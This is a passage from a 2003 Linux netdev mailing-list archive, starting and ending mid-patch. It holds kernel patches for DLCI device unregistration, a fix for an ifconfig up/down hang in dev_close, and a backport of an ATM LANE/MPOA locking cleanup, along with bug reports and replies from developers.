*ptr) +{ + struct net_device *dev = (struct net_device *) ptr; + + if (event == NETDEV_UNREGISTER) { + struct dlci_local *dlp; + + list_for_each_entry(dlp, &dlci_devs, list) { + if (dlp->slave == dev) { + unregister_netdevice(dlp->master); + dev_put(dlp->slave); + break; + } + } + } + return NOTIFY_DONE; +} + +static struct notifier_block dlci_notifier = { + .notifier_call = dlci_dev_event, +}; + +static int __init init_dlci(void) { dlci_ioctl_set(dlci_ioctl); + register_netdevice_notifier(&dlci_notifier); printk("%s.\n", version); return 0; } -void __exit dlci_exit(void) +static void __exit dlci_exit(void) { struct dlci_local *dlp, *nxt; dlci_ioctl_set(NULL); + unregister_netdevice_notifier(&dlci_notifier); rtnl_lock(); list_for_each_entry_safe(dlp, nxt, &dlci_devs, list) { From shemminger@osdl.org Mon Sep 8 14:40:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 14:40:28 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88Le6x4030960 for ; Mon, 8 Sep 2003 14:40:08 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h88Ldko14415; Mon, 8 Sep 2003 14:39:46 -0700 Date: Mon, 8 Sep 2003 14:39:29 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (5/4) dlci netdevice event handling Message-Id: <20030908143929.4a52fdee.shemminger@osdl.org> In-Reply-To: <20030908141445.5a5c0d42.shemminger@osdl.org> References: <20030908141445.5a5c0d42.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5699 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 486 Lines: 15 One more patch, found this in testing -- need to delete device from list when unregistered because of callback. diff -Nru a/drivers/net/wan/dlci.c b/drivers/net/wan/dlci.c --- a/drivers/net/wan/dlci.c Mon Sep 8 14:39:14 2003 +++ b/drivers/net/wan/dlci.c Mon Sep 8 14:39:14 2003 @@ -520,6 +520,7 @@ list_for_each_entry(dlp, &dlci_devs, list) { if (dlp->slave == dev) { + list_del(&dlp->list); unregister_netdevice(dlp->master); dev_put(dlp->slave); break; From haegar@sdinet.de Mon Sep 8 15:08:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 15:08:50 -0700 (PDT) Received: from imap.comunit.de (imap.comunit.de [193.103.160.193]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88M8Ex4002558 for ; Mon, 8 Sep 2003 15:08:15 -0700 Received: by imap.comunit.de (bofa-smtpd, from userid 4712) id E0074247E03; Tue, 9 Sep 2003 00:08:07 +0200 (CEST) Received: from space.comunit.de (comunit.de [193.103.160.129]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by imap.comunit.de (bofa-smtpd) with ESMTP id D445A247DDF for ; Tue, 9 Sep 2003 00:08:06 +0200 (CEST) Date: Tue, 9 Sep 2003 00:08:06 +0200 (CEST) From: Sven-Haegar Koch X-X-Sender: haegar@space.comunit.de To: netdev@oss.sgi.com Subject: ifconfig up/down problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5700 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: haegar@sdinet.de Precedence: bulk X-list: netdev Content-Length: 2844 Lines: 76 hi... Short: ifconfig ethX down locks Kernel: 2.4.22-bk12 (same problem with 2.4.23-pre3) eth0: eepro100 eth1: orinoco_cs (orinoco mini-pci) System: Toshiba Satellite Pro 4600 Laptop, P3 700Mhz Just after booting, no X startet yet, interface not yet initialized: aurora:~# ifconfig eth1 down aurora:~# ifconfig eth1 up aurora:~# ifconfig eth1 down aurora:~# ifconfig eth1 up aurora:~# ifconfig eth1 down <--lock here, shell does not return, even ctrl-c does not help haegar@aurora:~$ ps axl|grep ifconfig 4 0 1041 1035 9 0 1448 404 dev_cl S pts/0 0:00 ifconfig eth1 top shows ifconfig consuming 100% cpu, 100% system The same happens with eth0, there it takes only two up/down cycles, perhaps because it is already configured with ipv4+ipv6 addresses, and the same happens using '/sbin/ip link set eth0 up/down' too. Kernel 2.4.20-pre2-ac3 is ok (my last kernel, running for month') c'ya sven ps: kernel config available under http://sdinet.de/tmp/config-2.4.22-bk12 ps2: loaded modules: Module Size Used by Not tainted input 3328 0 (autoclean) ipt_limit 888 10 (autoclean) ipt_REJECT 3480 2 ipt_LOG 3416 10 ipt_state 568 12 ip_conntrack_ftp 4176 0 (unused) ip_conntrack 18116 3 [ipt_state ip_conntrack_ftp] iptable_filter 1740 1 ip_tables 12448 5 [ipt_limit ipt_REJECT ipt_LOG ipt_state iptable_filter] orinoco_cs 4596 1 orinoco 36116 0 [orinoco_cs] hermes 7044 0 [orinoco_cs orinoco] ds 6996 3 [orinoco_cs] acm 6464 0 (unused) pwc 44432 0 (unused) videodev 6048 0 [pwc] audio 43256 0 (unused) soundcore 3652 0 [audio] usb-uhci 23696 0 (unused) ide-scsi 10320 0 i810_rng 3200 0 (unused) serial 48228 0 (autoclean) isa-pnp 32560 0 (autoclean) [serial] parport_pc 23784 1 (autoclean) lp 7040 0 (autoclean) parport 25512 1 (autoclean) [parport_pc lp] sd_mod 11180 0 (unused) scsi_mod 87216 2 [ide-scsi sd_mod] usbcore 62956 1 [acm pwc audio usb-uhci] yenta_socket 12928 3 pcmcia_core 43520 0 [orinoco_cs ds yenta_socket] agpgart 25320 0 (unused) ipv6 174100 -1 eepro100 21972 1 mii 2432 0 [eepro100] rtc 6792 0 (autoclean) -- The Internet treats censorship as a routing problem, and routes around it. (John Gilmore on http://www.cygnus.com/~gnu/) From jgarzik@pobox.com Mon Sep 8 15:15:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 15:15:46 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88MFgx4005554 for ; Mon, 8 Sep 2003 15:15:43 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:38633 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19wUIL-0007yC-E6; Mon, 08 Sep 2003 23:15:37 +0100 Message-ID: <3F5CFF7E.1090005@pobox.com> Date: Mon, 08 Sep 2003 18:15:26 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Sven-Haegar Koch CC: netdev@oss.sgi.com, "David S. Miller" , Andrew Morton , LKML Subject: [PATCH] Re: ifconfig up/down problem References: In-Reply-To: Content-Type: multipart/mixed; boundary="------------030300040602060006010804" X-archive-position: 5701 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1923 Lines: 69 This is a multi-part message in MIME format. --------------030300040602060006010804 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sven-Haegar Koch wrote: > hi... > > Short: ifconfig ethX down locks > > Kernel: 2.4.22-bk12 (same problem with 2.4.23-pre3) > eth0: eepro100 > eth1: orinoco_cs (orinoco mini-pci) > System: Toshiba Satellite Pro 4600 Laptop, P3 700Mhz > > Just after booting, no X startet yet, interface not yet initialized: > > aurora:~# ifconfig eth1 down > aurora:~# ifconfig eth1 up > aurora:~# ifconfig eth1 down > aurora:~# ifconfig eth1 up > aurora:~# ifconfig eth1 down > <--lock here, shell does not return, even ctrl-c does not help > > haegar@aurora:~$ ps axl|grep ifconfig > 4 0 1041 1035 9 0 1448 404 dev_cl S pts/0 0:00 ifconfig eth1 > > top shows ifconfig consuming 100% cpu, 100% system > > The same happens with eth0, there it takes only two up/down cycles, > perhaps because it is already configured with ipv4+ipv6 addresses, and the > same happens using '/sbin/ip link set eth0 up/down' too. > > Kernel 2.4.20-pre2-ac3 is ok (my last kernel, running for month') Does the attached patch fix it? Jeff --------------030300040602060006010804 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Mon Sep 8 18:14:36 2003 +++ b/net/core/dev.c Mon Sep 8 18:14:36 2003 @@ -851,7 +851,11 @@ * engine, but this requires more changes in devices. */ smp_mb__after_clear_bit(); /* Commit netif_running(). */ - netif_poll_disable(dev); + while (test_bit(__LINK_STATE_RX_SCHED, &dev->state)) { + /* No hurry. */ + current->state = TASK_INTERRUPTIBLE; + schedule_timeout(1); + } /* * Call the device specific close. This cannot fail. --------------030300040602060006010804-- From jgarzik@pobox.com Mon Sep 8 15:17:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 15:17:10 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88MH7x4005918 for ; Mon, 8 Sep 2003 15:17:08 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:38635 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19wUJg-000846-Lp; Mon, 08 Sep 2003 23:17:00 +0100 Message-ID: <3F5CFFD1.6050702@pobox.com> Date: Mon, 08 Sep 2003 18:16:49 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Andrew Morton CC: "David S. Miller" , netdev@oss.sgi.com Subject: Re: netif_poll_disable() hangs References: <20030907232145.6ec197fd.akpm@osdl.org> In-Reply-To: <20030907232145.6ec197fd.akpm@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5702 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 264 Lines: 15 Andrew Morton wrote: > Very simple: > > ifup eth0 > ifdown eth0 > ifup eth0 > ifdown eth0 <- hangs in dev_close -> netif_poll_disable() > > > Because the first close sets __LINK_STATE_RX_SCHED and nothing ever clears > it. Thanks, fix patch just sent. From haegar@sdinet.de Mon Sep 8 15:40:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 15:41:23 -0700 (PDT) Received: from imap.comunit.de (imap.comunit.de [193.103.160.193]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88Memx4008714 for ; Mon, 8 Sep 2003 15:40:49 -0700 Received: by imap.comunit.de (bofa-smtpd, from userid 4712) id C3F8D247E32; Tue, 9 Sep 2003 00:40:42 +0200 (CEST) Received: from space.comunit.de (comunit.de [193.103.160.129]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by imap.comunit.de (bofa-smtpd) with ESMTP id A10F3247E28; Tue, 9 Sep 2003 00:40:41 +0200 (CEST) Date: Tue, 9 Sep 2003 00:40:41 +0200 (CEST) From: Sven-Haegar Koch X-X-Sender: haegar@space.comunit.de To: Jeff Garzik Cc: netdev@oss.sgi.com, "David S. Miller" , Andrew Morton , LKML Subject: Re: [PATCH] Re: ifconfig up/down problem In-Reply-To: <3F5CFF7E.1090005@pobox.com> Message-ID: References: <3F5CFF7E.1090005@pobox.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5703 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: haegar@sdinet.de Precedence: bulk X-list: netdev Content-Length: 304 Lines: 15 On Mon, 8 Sep 2003, Jeff Garzik wrote: > Sven-Haegar Koch wrote: > > Short: ifconfig ethX down locks > Does the attached patch fix it? Yes, it does - thanks a lot! c'ya sven -- The Internet treats censorship as a routing problem, and routes around it. (John Gilmore on http://www.cygnus.com/~gnu/) From carlos@fisica.ufpr.br Mon Sep 8 17:03:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 17:04:20 -0700 (PDT) Received: from fisica.ufpr.br (fisica.ufpr.br [200.17.209.129]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8903ex4020021 for ; Mon, 8 Sep 2003 17:03:41 -0700 Received: by fisica.ufpr.br (Postfix) id 022E336B865; Mon, 8 Sep 2003 21:03:38 -0300 (BRT) From: Carlos Carvalho MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <16221.6346.577173.525623@fisica.ufpr.br> Date: Mon, 8 Sep 2003 21:03:22 -0300 To: netdev@oss.sgi.com Subject: 2.4: "kernel: hw tcp v4 csum failed" with e100 X-Mailer: VM 7.07 under Emacs 19.34.1 X-archive-position: 5704 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: carlos@fisica.ufpr.br Precedence: bulk X-list: netdev Content-Length: 507 Lines: 9 I've switched from the eepro100 driver to the e100 in 2.4.22-rc2 and started getting "kernel: hw tcp v4 csum failed" in the logs. Going back to the eepro100 makes these messages disappear. The machine is a dual-pentium with the Supermicro DE6 motherboard, which comes with the Intel ethernet chip on board. ifconfig shows no ethernet errors. What's the meaning of this warning? I grepped the kernel sources and found nothing. I'm not even sure it's net-related; I apologize if this isn't the correct list. From chas@cmf.nrl.navy.mil Mon Sep 8 17:18:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 17:18:25 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h890IEx4023988 for ; Mon, 8 Sep 2003 17:18:15 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h88LWRSa004358; Mon, 8 Sep 2003 17:32:28 -0400 (EDT) Message-Id: <200309082132.h88LWRSa004358@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM][2.4] lane/mpoa locking cleanup Reply-To: chas3@users.sourceforge.net Date: Mon, 08 Sep 2003 17:32:28 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5705 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 30480 Lines: 930 this is a backport of the 2.6 lane/mpoa locking cleanup. please apply to 2.4 -- thanks [ATM]: lane/mpoa module locking cleanup # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1119.3.2 -> 1.1119.3.3 # net/atm/lec.c 1.17 -> 1.18 # net/atm/mpc.h 1.1 -> 1.2 # net/atm/proc.c 1.9 -> 1.10 # net/atm/lec.h 1.5 -> 1.6 # net/atm/mpc.c 1.8 -> 1.9 # net/atm/common.c 1.17 -> 1.18 # # -------------------------------------------- # 03/09/05 chas@relax.cmf.nrl.navy.mil 1.1119.3.3 # [ATM]: lane/mpoa module locking cleanup # -------------------------------------------- # diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Mon Sep 8 17:29:52 2003 +++ b/net/atm/common.c Mon Sep 8 17:29:52 2003 @@ -33,21 +33,61 @@ #include #include "lec.h" #include "lec_arpc.h" -struct atm_lane_ops atm_lane_ops; -#endif -#ifdef CONFIG_ATM_LANE_MODULE +struct atm_lane_ops *atm_lane_ops; +static DECLARE_MUTEX(atm_lane_ops_mutex); + +void atm_lane_ops_set(struct atm_lane_ops *hook) +{ + down(&atm_lane_ops_mutex); + atm_lane_ops = hook; + up(&atm_lane_ops_mutex); +} + +int try_atm_lane_ops(void) +{ + down(&atm_lane_ops_mutex); + if (atm_lane_ops && try_inc_mod_count(atm_lane_ops->owner)) { + up(&atm_lane_ops_mutex); + return 1; + } + up(&atm_lane_ops_mutex); + return 0; +} + +#if defined(CONFIG_ATM_LANE_MODULE) || defined(CONFIG_ATM_MPOA_MODULE) EXPORT_SYMBOL(atm_lane_ops); +EXPORT_SYMBOL(try_atm_lane_ops); +EXPORT_SYMBOL(atm_lane_ops_set); +#endif #endif #if defined(CONFIG_ATM_MPOA) || defined(CONFIG_ATM_MPOA_MODULE) #include #include "mpc.h" -struct atm_mpoa_ops atm_mpoa_ops; -#endif +struct atm_mpoa_ops *atm_mpoa_ops; +static DECLARE_MUTEX(atm_mpoa_ops_mutex); + +void atm_mpoa_ops_set(struct atm_mpoa_ops *hook) +{ + down(&atm_mpoa_ops_mutex); + atm_mpoa_ops = hook; + up(&atm_mpoa_ops_mutex); +} + +int try_atm_mpoa_ops(void) +{ + down(&atm_mpoa_ops_mutex); + if (atm_mpoa_ops && try_inc_mod_count(atm_mpoa_ops->owner)) { + up(&atm_mpoa_ops_mutex); + return 1; + } + up(&atm_mpoa_ops_mutex); + return 0; +} #ifdef CONFIG_ATM_MPOA_MODULE EXPORT_SYMBOL(atm_mpoa_ops); -#ifndef CONFIG_ATM_LANE_MODULE -EXPORT_SYMBOL(atm_lane_ops); +EXPORT_SYMBOL(try_atm_mpoa_ops); +EXPORT_SYMBOL(atm_mpoa_ops_set); #endif #endif @@ -739,27 +779,43 @@ ret_val = -EPERM; goto done; } - if (atm_lane_ops.lecd_attach == NULL) - atm_lane_init(); - if (atm_lane_ops.lecd_attach == NULL) { /* try again */ +#if defined(CONFIG_ATM_LANE_MODULE) + if (!atm_lane_ops) + request_module("lec"); +#endif + if (try_atm_lane_ops()) { + error = atm_lane_ops->lecd_attach(vcc, (int) arg); + if (atm_lane_ops->owner) + __MOD_DEC_USE_COUNT(atm_lane_ops->owner); + if (error >= 0) + sock->state = SS_CONNECTED; + ret_val = error; + } else ret_val = -ENOSYS; - goto done; - } - error = atm_lane_ops.lecd_attach(vcc, (int)arg); - if (error >= 0) sock->state = SS_CONNECTED; - ret_val = error; goto done; case ATMLEC_MCAST: - if (!capable(CAP_NET_ADMIN)) + if (!capable(CAP_NET_ADMIN)) { ret_val = -EPERM; - else - ret_val = atm_lane_ops.mcast_attach(vcc, (int)arg); + goto done; + } + if (try_atm_lane_ops()) { + ret_val = atm_lane_ops->mcast_attach(vcc, (int) arg); + if (atm_lane_ops->owner) + __MOD_DEC_USE_COUNT(atm_lane_ops->owner); + } else + ret_val = -ENOSYS; goto done; case ATMLEC_DATA: - if (!capable(CAP_NET_ADMIN)) + if (!capable(CAP_NET_ADMIN)) { ret_val = -EPERM; - else - ret_val = atm_lane_ops.vcc_attach(vcc, (void*)arg); + goto done; + } + if (try_atm_lane_ops()) { + ret_val = atm_lane_ops->vcc_attach(vcc, (void *) arg); + if (atm_lane_ops->owner) + __MOD_DEC_USE_COUNT(atm_lane_ops->owner); + } else + ret_val = -ENOSYS; goto done; #endif #if defined(CONFIG_ATM_MPOA) || defined(CONFIG_ATM_MPOA_MODULE) @@ -768,21 +824,31 @@ ret_val = -EPERM; goto done; } - if (atm_mpoa_ops.mpoad_attach == NULL) - atm_mpoa_init(); - if (atm_mpoa_ops.mpoad_attach == NULL) { /* try again */ +#if defined(CONFIG_ATM_MPOA_MODULE) + if (!atm_mpoa_ops) + request_module("mpoa"); +#endif + if (try_atm_mpoa_ops()) { + error = atm_mpoa_ops->mpoad_attach(vcc, (int) arg); + if (atm_mpoa_ops->owner) + __MOD_DEC_USE_COUNT(atm_mpoa_ops->owner); + if (error >= 0) + sock->state = SS_CONNECTED; + ret_val = error; + } else ret_val = -ENOSYS; - goto done; - } - error = atm_mpoa_ops.mpoad_attach(vcc, (int)arg); - if (error >= 0) sock->state = SS_CONNECTED; - ret_val = error; goto done; case ATMMPC_DATA: - if (!capable(CAP_NET_ADMIN)) + if (!capable(CAP_NET_ADMIN)) { ret_val = -EPERM; - else - ret_val = atm_mpoa_ops.vcc_attach(vcc, arg); + goto done; + } + if (try_atm_mpoa_ops()) { + ret_val = atm_mpoa_ops->vcc_attach(vcc, arg); + if (atm_mpoa_ops->owner) + __MOD_DEC_USE_COUNT(atm_mpoa_ops->owner); + } else + ret_val = -ENOSYS; goto done; #endif #if defined(CONFIG_ATM_TCP) || defined(CONFIG_ATM_TCP_MODULE) @@ -1167,40 +1233,6 @@ } -/* - * lane_mpoa_init.c: A couple of helper functions - * to make modular LANE and MPOA client easier to implement - */ - -/* - * This is how it goes: - * - * if xxxx is not compiled as module, call atm_xxxx_init_ops() - * from here - * else call atm_mpoa_init_ops() from init_module() within - * the kernel when xxxx module is loaded - * - * In either case function pointers in struct atm_xxxx_ops - * are initialized to their correct values. Either they - * point to functions in the module or in the kernel - */ - -extern struct atm_mpoa_ops atm_mpoa_ops; /* in common.c */ -extern struct atm_lane_ops atm_lane_ops; /* in common.c */ - -#if defined(CONFIG_ATM_MPOA) || defined(CONFIG_ATM_MPOA_MODULE) -void atm_mpoa_init(void) -{ -#ifndef CONFIG_ATM_MPOA_MODULE /* not module */ - atm_mpoa_init_ops(&atm_mpoa_ops); -#else - request_module("mpoa"); -#endif - - return; -} -#endif - #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) #if defined(CONFIG_BRIDGE) || defined(CONFIG_BRIDGE_MODULE) struct net_bridge_fdb_entry *(*br_fdb_get_hook)(struct net_bridge *br, @@ -1211,18 +1243,8 @@ EXPORT_SYMBOL(br_fdb_put_hook); #endif /* defined(CONFIG_ATM_LANE_MODULE) || defined(CONFIG_BRIDGE_MODULE) */ #endif /* defined(CONFIG_BRIDGE) || defined(CONFIG_BRIDGE_MODULE) */ +#endif /* defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) */ -void atm_lane_init(void) -{ -#ifndef CONFIG_ATM_LANE_MODULE /* not module */ - atm_lane_init_ops(&atm_lane_ops); -#else - request_module("lec"); -#endif - - return; -} -#endif static int __init atm_init(void) { diff -Nru a/net/atm/lec.c b/net/atm/lec.c --- a/net/atm/lec.c Mon Sep 8 17:29:52 2003 +++ b/net/atm/lec.c Mon Sep 8 17:29:52 2003 @@ -11,6 +11,7 @@ /* We are ethernet device */ #include #include +#include #include #include #include @@ -57,8 +58,6 @@ unsigned char *addr); extern void (*br_fdb_put_hook)(struct net_bridge_fdb_entry *ent); -static spinlock_t lec_arp_spinlock = SPIN_LOCK_UNLOCKED; - #define DUMP_PACKETS 0 /* 0 = None, * 1 = 30 first bytes * 2 = Whole packet @@ -72,9 +71,9 @@ static int lec_close(struct net_device *dev); static struct net_device_stats *lec_get_stats(struct net_device *dev); static void lec_init(struct net_device *dev); -static __inline__ struct lec_arp_table* lec_arp_find(struct lec_priv *priv, +static inline struct lec_arp_table* lec_arp_find(struct lec_priv *priv, unsigned char *mac_addr); -static __inline__ int lec_arp_remove(struct lec_arp_table **lec_arp_tables, +static inline int lec_arp_remove(struct lec_priv *priv, struct lec_arp_table *to_remove); /* LANE2 functions */ static void lane2_associate_ind (struct net_device *dev, u8 *mac_address, @@ -96,8 +95,18 @@ static struct net_device *dev_lec[MAX_LEC_ITF]; /* This will be called from proc.c via function pointer */ -struct net_device **get_dev_lec (void) { - return &dev_lec[0]; +struct net_device *get_dev_lec(int itf) +{ + struct net_device *dev; + + if (itf >= MAX_LEC_ITF) + return NULL; + rtnl_lock(); + dev = dev_lec[itf]; + if (dev) + dev_hold(dev); + rtnl_unlock(); + return dev; } #if defined(CONFIG_BRIDGE) || defined(CONFIG_BRIDGE_MODULE) @@ -433,7 +442,7 @@ break; case l_narp_req: /* LANE2: see 7.1.35 in the lane2 spec */ entry = lec_arp_find(priv, mesg->content.normal.mac_addr); - lec_arp_remove(priv->lec_arp_tables, entry); + lec_arp_remove(priv, entry); if (mesg->content.normal.no_source_le_narp) break; @@ -834,37 +843,28 @@ return i; } -void atm_lane_init_ops(struct atm_lane_ops *ops) +static struct atm_lane_ops __atm_lane_ops = { - ops->lecd_attach = lecd_attach; - ops->mcast_attach = lec_mcast_attach; - ops->vcc_attach = lec_vcc_attach; - ops->get_lecs = get_dev_lec; - - printk("lec.c: " __DATE__ " " __TIME__ " initialized\n"); - - return; -} + .lecd_attach = lecd_attach, + .mcast_attach = lec_mcast_attach, + .vcc_attach = lec_vcc_attach, + .get_lec = get_dev_lec, + .owner = THIS_MODULE +}; static int __init lane_module_init(void) { - extern struct atm_lane_ops atm_lane_ops; - - atm_lane_init_ops(&atm_lane_ops); - + atm_lane_ops_set(&__atm_lane_ops); + printk("lec.c: " __DATE__ " " __TIME__ " initialized\n"); return 0; } static void __exit lane_module_cleanup(void) { int i; - extern struct atm_lane_ops atm_lane_ops; struct lec_priv *priv; - atm_lane_ops.lecd_attach = NULL; - atm_lane_ops.mcast_attach = NULL; - atm_lane_ops.vcc_attach = NULL; - atm_lane_ops.get_lecs = NULL; + atm_lane_ops_set(NULL); for (i = 0; i < MAX_LEC_ITF; i++) { if (dev_lec[i] != NULL) { @@ -874,7 +874,7 @@ unregister_trdev(dev_lec[i]); else #endif - unregister_netdev(dev_lec[i]); + unregister_netdev(dev_lec[i]); kfree(dev_lec[i]); dev_lec[i] = NULL; } @@ -1074,6 +1074,7 @@ for (i=0;ilec_arp_tables[i] = NULL; } + spin_lock_init(&priv->lec_arp_lock); init_timer(&priv->lec_arp_timer); priv->lec_arp_timer.expires = jiffies+LEC_ARP_REFRESH_INTERVAL; priv->lec_arp_timer.data = (unsigned long)priv; @@ -1110,21 +1111,20 @@ * Insert entry to lec_arp_table * LANE2: Add to the end of the list to satisfy 8.1.13 */ -static __inline__ void -lec_arp_add(struct lec_arp_table **lec_arp_tables, - struct lec_arp_table *to_add) +static inline void +lec_arp_add(struct lec_priv *priv, struct lec_arp_table *to_add) { unsigned long flags; unsigned short place; struct lec_arp_table *tmp; - spin_lock_irqsave(&lec_arp_spinlock, flags); + spin_lock_irqsave(&priv->lec_arp_lock, flags); place = HASH(to_add->mac_addr[ETH_ALEN-1]); - tmp = lec_arp_tables[place]; + tmp = priv->lec_arp_tables[place]; to_add->next = NULL; if (tmp == NULL) - lec_arp_tables[place] = to_add; + priv->lec_arp_tables[place] = to_add; else { /* add to the end */ while (tmp->next) @@ -1132,7 +1132,7 @@ tmp->next = to_add; } - spin_unlock_irqrestore(&lec_arp_spinlock, flags); + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); DPRINTK("LEC_ARP: Added entry:%2.2x %2.2x %2.2x %2.2x %2.2x %2.2x\n", 0xff&to_add->mac_addr[0], 0xff&to_add->mac_addr[1], @@ -1143,8 +1143,8 @@ /* * Remove entry from lec_arp_table */ -static __inline__ int -lec_arp_remove(struct lec_arp_table **lec_arp_tables, +static inline int +lec_arp_remove(struct lec_priv *priv, struct lec_arp_table *to_remove) { unsigned long flags; @@ -1152,22 +1152,22 @@ struct lec_arp_table *tmp; int remove_vcc=1; - spin_lock_irqsave(&lec_arp_spinlock, flags); + spin_lock_irqsave(&priv->lec_arp_lock, flags); if (!to_remove) { - spin_unlock_irqrestore(&lec_arp_spinlock, flags); + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); return -1; } place = HASH(to_remove->mac_addr[ETH_ALEN-1]); - tmp = lec_arp_tables[place]; + tmp = priv->lec_arp_tables[place]; if (tmp == to_remove) { - lec_arp_tables[place] = tmp->next; + priv->lec_arp_tables[place] = tmp->next; } else { while(tmp && tmp->next != to_remove) { tmp = tmp->next; } if (!tmp) {/* Entry was not found */ - spin_unlock_irqrestore(&lec_arp_spinlock, flags); + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); return -1; } } @@ -1181,7 +1181,7 @@ * ESI_FLUSH_PENDING, ESI_FORWARD_DIRECT */ for(place=0;placenext){ + for(tmp = priv->lec_arp_tables[place]; tmp != NULL; tmp = tmp->next) { if (memcmp(tmp->atm_addr, to_remove->atm_addr, ATM_ESA_LEN)==0) { remove_vcc=0; @@ -1194,7 +1194,7 @@ } skb_queue_purge(&to_remove->tx_wait); /* FIXME: good place for this? */ - spin_unlock_irqrestore(&lec_arp_spinlock, flags); + spin_unlock_irqrestore(&priv->lec_arp_lock, flags); DPRINTK("LEC_ARP: Removed entry:%2.2x %2.2x %2.2x %2.2x %2.2x %2.2x\n", 0xff&to_remove->mac_addr[0], 0xff&to_remove->mac_addr[1], @@ -1390,7 +1390,7 @@ for 